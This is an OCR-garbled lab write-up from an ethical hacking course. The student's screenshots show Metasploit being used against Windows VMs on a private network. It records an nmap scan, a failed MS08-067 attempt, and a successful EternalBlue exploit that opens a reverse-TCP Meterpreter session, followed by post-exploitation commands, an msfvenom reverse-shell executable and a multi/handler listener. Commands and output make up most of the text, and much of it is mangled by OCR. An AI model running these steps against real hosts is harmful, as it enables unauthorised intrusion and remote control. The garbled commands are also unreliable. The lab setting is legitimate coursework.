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[ ran the nmap < e
command and
afterwards I verified
that the 445/tcp port is
open.

root@CS2APenTest; ~

File Edit View 5 h Terminal Help
: # nmap 192.168.10.14
Starting Nmap 7.70 ( https://nmap.org ) at 2023-07-23 17:20 EDT
Mote: Host seems down. If it is really up, but blocking our ping probes, try -Pn§
Nmap done: 1 IP address (©® hosts up) scanned in ©.55 seconds
: # nmap 192.168.10.14
Starting Nmap 7.70 ( https://nmap.org ) at 2023-07-23 17:24 EDT
Mmap scan report for 192.168.10.14
Host is up (0.061s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:15:5D:40:57:89 (Microsoft)
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Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds
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Here I searched the for th e

- msf5 > msG8 067 netapl
[-1

b,
-
A
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ms08_067_netapi exploit GBS, | rom commnd: e, o7 et

mO dllle . . l Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/windows/smb/ms08 067 netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service R
elative Path Stack Corruption

msf5 > use windows/windows/smb/ms@8_ 067 netapi

'~ No results from search

.- Failed to load module: windows/windows/smb/ms08 067 netapi
- msf5 > use windows/smb/msB8 067 netapi
EmsTh exploit{windows/smb/msD8 867 netapi] > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER Wes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Activate Windows

Go to Settings to activate Windows.
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“ MyOdu | Main view X | ' Howto Access CCIA Virtual Envic X | 4% GlobalProtect Portal X | ' Assignment #4 - Fthical Hacking X = b b = ] X

Her e I Set the cifs: i 0 exploit/windows/smb/ms08 067 netapli 2008-10-28 great Yes MS0B-067 Microsoft Server Service
meterpreter
msf5 > use windows/windows/smb/ms08 867 netapi

;ﬂ?elative Path Stack Corruption
I'€V€I'S€ tcp aS the ' No results from search
— ~, Failed to load module: windows/windows/smb/ms08 067 netapi
= msf5 = use windows/smb/ms08 867 netapi
payload.

Module options (exploit/windows/smb/ms08 067 netapi):

Current Setting Required Description

The target address range or CIDR identifier
yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

{Expluit target:

Id Name

0 Automatic Targeting

msf5 exploit{windows swb /ms0i_067 netapi) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
ims TS exploit{windows/smb/ms08 067 netapil >

Activate Windows

Go to Settings to activate Windows.
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. Applications * Places * [ Terminal ~ Sun18:02
Here I configured i e
1 File Edit View 5Search Terminal Help
the Settlngs and ran LPORT 4444 r yrf. Theliﬁten port
the exploit on the |
Exploit target:
target. XY pom

@ Automatic Targeting

L
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msfS exploit( ) > set rhosts 192.168.10.14
rhosts == 192.168.10.14

msf5 exploit( ) > set lhost 192.168.10.13
lhost == 192.168.106.13

msf5 exploit( ) > set lport 4458
port => 4458
msf5 exploit( ) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOSTS  192.168.10.14 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.13 yes The listen address (an interface may be specified)

LPORT 4458 yes The listen port

Exploit target:

WS = =B ¢

Id Name

@ Automatic Targeting

msf5 exploit( ) > exploit
Started reverse TCP handler on 192.168.10.13:4458
192.168.10.14:445 - Automatically detecting the target... . s e
192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English Activate Windows
192.168.10.14:445 - Selected Target: Windows XP SP3 English {AlwaysOn NX) Gotodettibasin-activste M wdomws
192.168.10.14:445 - Attempting to trigger the vulnerability... S e B :
Exploit completed, but no session was created.

msfs exploit( I | I
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Applications ¥  Places ¥ [J Terminal = Sun20:16 ] & ) O~
root@CS2APenTest: ~

In this screenshot

File Edit View 5Search Terminal Help

Exploit completed, but no session was created.
YOU. can sec that I set msf5 exploit| ) > set rhosts 192.168.10.11
rhosts => 192.168.10.11
the COI’I‘GCt msf5 exploit( ) > show options

Module options (exploit/windows/smb/ms17 010 eternalblue):

parameters by using

. Name Current Setting Required Description
the Set I'hOStS Set 1 RHOSTS 192.168.10.11  yes The target address range or CIDR identifier
> $ RPORT 445 yes The target port (TCP)
- SMBDomain ; no (Optional) The Windows domain to use for authentication

hOStS Set lpOrt SMBPass no (Optional) The password for the specified username

) SMBUser no (Optional) The username to authenticate as

VERIFY ARCH true yes Check 1f remote architecture matches exploit Target.

Commands along VERIFY TARGET true yes Check if remote 05 matches exploit Target.

Payload options (windows/x64/meterpreter/reverse tcp):

with searching the

=3 -

Name Current Setting Required Description
commands to set the i Ciissicsne sl et 4
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
- LHOST 192.168.10.13 yes The listen address (an interface may be specified)
P&YlOad and SearCh ii* LPORT 4458 yes The listen port

the exploit module. I

Exploit target:

Id Name

B Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit( ) > explit
Unknown command: explit.
msf5 exploit( ) > exploit

i « & ps

Started reverse TCP handler on 192.168.10.13:4458

[+] 192.168.10.11:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)
192.168.10.11:445 - Connecting to target for exploitation.

[+] 192.168.10.11:445 - Connection established for exploitation.

[+] 192.168.10.11:445 - Target 05 selected valid for 05 indicated by SMB reply ¥
192.168.10.11:445 - CORE raw buffer dump (36 bytes)
192.168.10.11:445 - 0x000000008 57 69 6e 64 6T 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
192.168.10.11:445 - OxDOGOOO1O 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
192.168.10.11:445 - Ox0O0OGOO20 37 36 30 30 7600 . ; e

[+] 192.168.10.11:445 - Target arch selected valid for arch indicated by DCE/RPC reply - Activate Windows
192.168.10.11:445 - Trying exploit with 12 Groom Allocations. o to Settinas to activate Windov
192.168.10.11:445 - Sending all but last fragment of exploit packet -
192.168.10.11:445 - Starting non-paged pool grooming

[+] 192.168.10.11:445 - Sending SMBv2 buffers
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Applications * Places * [ Terminal ~ Sun20:19

In this screenshot you can
see that I set the correct File  Edit View Search Terminal Help

root@CS2APenTest: ~

192.168.10.14:445 - Attempting to trigger the vulnerability...
. Exploit completed, but no session was created.
parameters by uSlng the msf5 exploit( ) > use exploit/windows/smb/ms17 0168 eternalblue
msf5 exploit( ) = set payload windows/x64/meterpreter/reverse tcp
Set rhOStS) Set 1 hOStS) Set msf5 exploit( ) > showoptions
s Unknown command: showoptions.
Iport commands along g " i
. . Module options (exploit/windows/smb/ms17 010 eternalblue):
with searching the 3

payload => windows/x64/meterpreter/reverse tcp
commands to set the RHosTS yes

) > show options

Name Current Setting Required Description

The target address range or CIDR identifier

RPORT 445 yes The target port (TCP)
SMBDomain . IED (Optional) The Windows domain to use for authentication
paYIOad and SearCh the SMBPass 0 (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
1 . (1. 1 VERIFY ARCH true yes Check if remote architecture matches exploit Target.
eXp Olt mO u e, VERIFY TARGET true yes Check if remote 0S5 matches exploit Target.

Payload options {windows/x64/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

B Windows 7 and Server 2008 R2 (x64) ALl Service Packs

WM<« Sk = =B ¢

msf5 exploit( ) > set lhost 192.168.10.13

lhost == 192.168.16.13

ses msf5 exploit( ) > sset rhost 192.168.10.11

Unknown command: sset.

msf5 exploit( ) > set lport 4458

lport == 4458

msf5 exploit( ) » show options

Module options (exploit/windows/smb/ms17 010 eternalblue):
Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The target port (TCP)
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Applications * Places * [ Terminal ~ Sun 20:24

root@CS2APenTest: ~

Here we can see

File Edit View 5Search Terminal Help

that I executed the [+] iggiggigﬁS - [J:_ 5!_*11 ceciggef_fating free hole adjacent to SMBv2 buffer.
192.168.10.11:445 - Sending last fragment of exploit packet!
Correct Commands - 192.168.10.11:445 - Receiving response from exploit packet

L
|

[+] 192.168.10.11:445 - ETERNALBLUE overwrite completed successfully (0xCOO0B000D)!
. 192.168.10.11:445 - Sending egqg to corrupted connection.
tO galn all Of the 192.168.10.11:445 - Triggering free of corrupted buffer.
192,168.10,11:445 - =-=-=-=-=-=-=-=-=-=-m-=-m-m-=-m-me=-m-me=-m-mem-m-mem-m-ome=os
. . 192.168.10.11:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIlL -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
lnf()rmatlon that 192.168.10.11:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
192.168.10.11:445 - Connecting to target for exploitation.
[+] 192.168.10.11:445 - Connection established for exploitation.
WaS Stored On the [+] 192.168.10.11:445 - Target 05 selected valid for 05 indicated by SMB reply
192.168.10.11:445 - CORE raw buffer dump (36 bytes)
* * 192.168.10.11:445 - Ox00000000 57 69 6e 64 6T 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
Vlrtual maChlne. 192.168.10.11:445 - 0x00800018 3@ 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard i
192.168.10.11:445 - Ox00000020 37 36 30 30 7600
[+] 192.168.10.11:445 - Target arch selected valid for arch indicated by DCE/RPC reply
192.168.10.11:445 - Trying exploit with 17 Groom Allocations.
192.168.10.11:445 - Sending all but last fragment of exploit packet
192.168.10.11:445 - Starting non-paged pool grooming
[+] 192.168.10.11:445 - Sending SMBv2 buffers
[+] 192.168.10.11:445 - Closing SMBvl connection creating free hole adjacent to SMBvZ buffer.
192.168.10.11:445 - Sending final SMBv2 buffers.
192.168.10.11:445 - Sending last fragment of exploit packet!
192.168.10.11:445 - Receiving response from exploit packet
[+] 192.168.10.11:445 - ETERNALBLUE overwrite completed successfully (0xCOOB600D)!
192.168.10.11:445 - Sending egg to corrupted connection.
192.168.10.11:445 - Triggering free of corrupted buffer.
Sending stage (206403 bytes) to 192.168.10.11
Meterpreter session 1 opened (192.168.16.13:4458 -> 192.168.10.11:49158) at 2623-07-23 20:15:26 -0400
#] 192.168.10.11:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+]
[ 1 - 192, ]_EE._]_EL 11:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-'|'|||IN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ I-:i 192 -.].E‘E‘- ].E}- 11:445 e L B L B U T B - CF P o TF B L - O TF B T T P O TF T L £

meterpreter > screenshot

Screenshot saved to: /root/asKZVKY].]peg

meterpreter > localtime

Local Date/Time: 2023-07-23 20:23:32.628 Eastern Daylight Time (UTC-508)
meterpreter > getsid

Server SID: 5-1-5-18

meterpreter > getpid

Current pid: 1116

meterpreter > sysinfo

M«Sk = =R §

Computer » W20038R2

05 : Windows 2008 R2 (Build 7600).

Architecture : x6d4 . s

System Language : en US ACTIVatle vWINAaows

Domain : WORKGROUP Go to Settings to activate WS
Logged On Users : 1 S e B :
Meterpreter : x64/windows

meterpreter = [
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MyQOdu | Main view X
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Here is where

I told
msfvenom to
make the exe
file so that I
could
complete the
tcp reverse
connection.

Partly sunny

Assignment #4 - Ethical Hacking X ~  oyse3lldjohn172 X + e — ]

Sun21:34

Applications * Places * [ Terminal ~

File
Meterp root@CS2APenTest: ~
e File  Cdit

© 0 0

View Search Terminal Help
Loadin : # msfsvenom -p windows/meterpreter/reverse tcp lport=4458 Llhos

FEt=192.168.10.13 -T exe -0 djohnl72.exe
ﬁ%ﬁf&bash: msfsvenom: command not found

Fx : # msfvenom -p windows/meterpreter/reverse tcp lport=4458 lhost
Loadin=192.168.10.13 -T exe -0 djohnl72.exe

Fa[-] No platform was selected, choosing MsT::Module::Platform::Windows from the p
meterp ayload
LDEIdl'f[-] No arch selected, selecting arch: x86 from the payload
nmtm{ND enchEf or badchars specified, outputting raw payload
meterpPayload size: 341 bytes

BzFinal size of exe file: 73802 bytes
msf5 esayved as: djohnl72.exe
Jmi%? # djohnl72.exe /var/www/html/index.html
Ei%ﬁ:bash: djohnl72.exe: command not found
I # mstvenom djohnl72.exe /var/www/index.html
ModuleError: No options

MsfvVenom - a Metasploit standalone payload generator.
Nala1s0 a replacement for msfpayload and msfencode.
" Usage: fusr/bin/msfvenom [options] <var=val=>
Example: fusr/bin/msfvenom -p windows/meterpreter/reverse tcp LHOST=<IP= -f exe

Payloz-0 payload.exe

L
|

Nar

" Options:

EXT =l ==LIST <type= List all modules for [type]. Types are: payg
LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

WSk = =W §

Id Name

0 Wildcard Target

msf5 exploit( } > set lhost 192.168.10.13
lhost == 192.168.10.13
msf5 exploit(
lport => 4458

msf5 exploit(

) = set lport 4458
) > exploit Activate Windows

Started reverse TCP handler on 192.168.10.13:4458

== Q Search ﬁ' ". 5! fﬁi - 1@ H @ "t" l‘a Q [?ﬁ" A - ?1&!3 ri'l # 9 A @ 5:33 PM
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Applications * Places * [ Terminal ~ Sun21:33

F”_E' | [ S T ISP e C— RS - T P
Meterp root@CS2APenTest: ~
B File  Edit

-]

View Search Terminal Help

Here is where |

Loadin : # touch 'IMadelIT-djohnl72.txt’
. Fa . | B .
made the flle %{; : Enn IMadeIT-djohnl72. txt
SO that lt can . LuadiFﬂc.an . djohnl72.exe IMadeIT-djohnl72.txt
Fa
be uploaded - e T |
Fa
once the tcp Ot <1
. Ba
connection e :}E%
. payloa
exploit was -
e e Module
finished but I — .
could not ,
connect to the = "t
Internet on e . J e Buzepretl . il Mo, proces,
. LHOST yes The listen address (an interface may be specified)
Virtual -‘J_';‘ir LPORT 4444 yes The listen port
maChine on . Exploit target:

Id Name

windows 7.

0 Wildcard Target

msf5 exploit( } > set lhost 192.168.10.13
lhost == 192.168.10.13
msf5 exploit( ) = set lport 4458
lport => 4458 T _
msf5 exploit( ) > exploit Activate Windows
o to S5e 15 to at = OWS

Started reverse TCP handler on 192.168.10.13:4458

e BE Q search oE &G MHB ~OPC W2 B O A ey SR
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Here I Set the Applications ~ Places * [:] Terminal = Sun21:29 [:?
Parameters to the root@CS2APenTest: ~

File Edit View 5Search Terminal Help

correct setting and e o

meterpreter > use exploit/multi/handlery

started the reverse >

Loading extension exploit/multi/handler...
. Failed to load extension: No module of the name exploit/multi/handler found
th COIlIleCtIOIl meterpreter > use exploit multi/handler
* Loading extension exploit...

Failed to load extension: Mo module of the name exploit found
Loading extension multi/handler...

Failed to load extension: Mo module of the name multi/handler found
meterpreter > use exploit/multi/handler
Loading extension exploit/multi/handler...

Failed to load extension: No module of the name exploit/multi/handler found
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > background
Backgrounding session 1...

L
|

msf5 exploit| ) = use exploit/multi/handler
msf5 exploit( ) > set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp
msf5 exploit( } > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options {windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

WSk = =W §

Exploit target:

Id Name

B Wildcard Target

msf5 exploit( } > set lhost 192.168.10.13

lhost =~ 192.168.10.13

msf5 exploit( ) > set lport 4458 . e

lport == 4458 Activate Windows

msf5 exploit( ) = exploit Gota Settinas to activate Windows

Started reverse TCP handler on 192.168.10.13:4458

e BE Q search oE® GG MB - OPC rmT B O A oway [ SBM
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;11 e . I,_:'l Attacker Kali - Bxternal Workstation on DJIOHMN172 - Virtual Machine Connection

flle /Hicmm File Action Media Clipboard View Help

dm = . = =1 z : i s
= | 25| MG D@0 uwpfo i

[ Hyper-V Manager Applications *  Places ~ Terminal = ' Actions
EE DJOHN1T72 DIOHN1T2
('8

¥ - z —
Bl OQuick Create...

ViMshare Messus Info Mew

Import Virtual Machine...
Hyper-V Settings...
root@CS2APenTest: ~ B8 Virtual Switch Manager...
File Edit View Search Terminal Help wn.  Virtual 5AN Manager...

# service apachez start ; Edit Disk...
#

I

= Inspect Disk...
Stop Service
Remove Server
Refrezh

View

I tried to follow the notes that were in the module and the Help
apache connection was not working for me either. LR
.;E Connect...
4 Settings..,
Turn Off...
Shut Down...

Save

Checkpoint

— } Pl

BY QFFEMIIVE SECUNITY

I Rename...

Help

_y 34 PM
- L - - ’ ! =
=. /D ), l:; % Hyper-V Manager E Kali - Internal Work... % Attacker Kali - Exter... E pFsense - Firewall &... E Windows Server 20... E Windows XP Profes... A T b 7/23/2023
BE°F .. : B " y y :: ';'“'. EPIE - o 534 PM
Gty Sty i Q Search m M = Oy - ? H Hfﬂ waxr D 9 (@ A N il 0B @ ~ = i 7239023
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You need to login to Windows 7 to access the website hosted on the attacker machine. 
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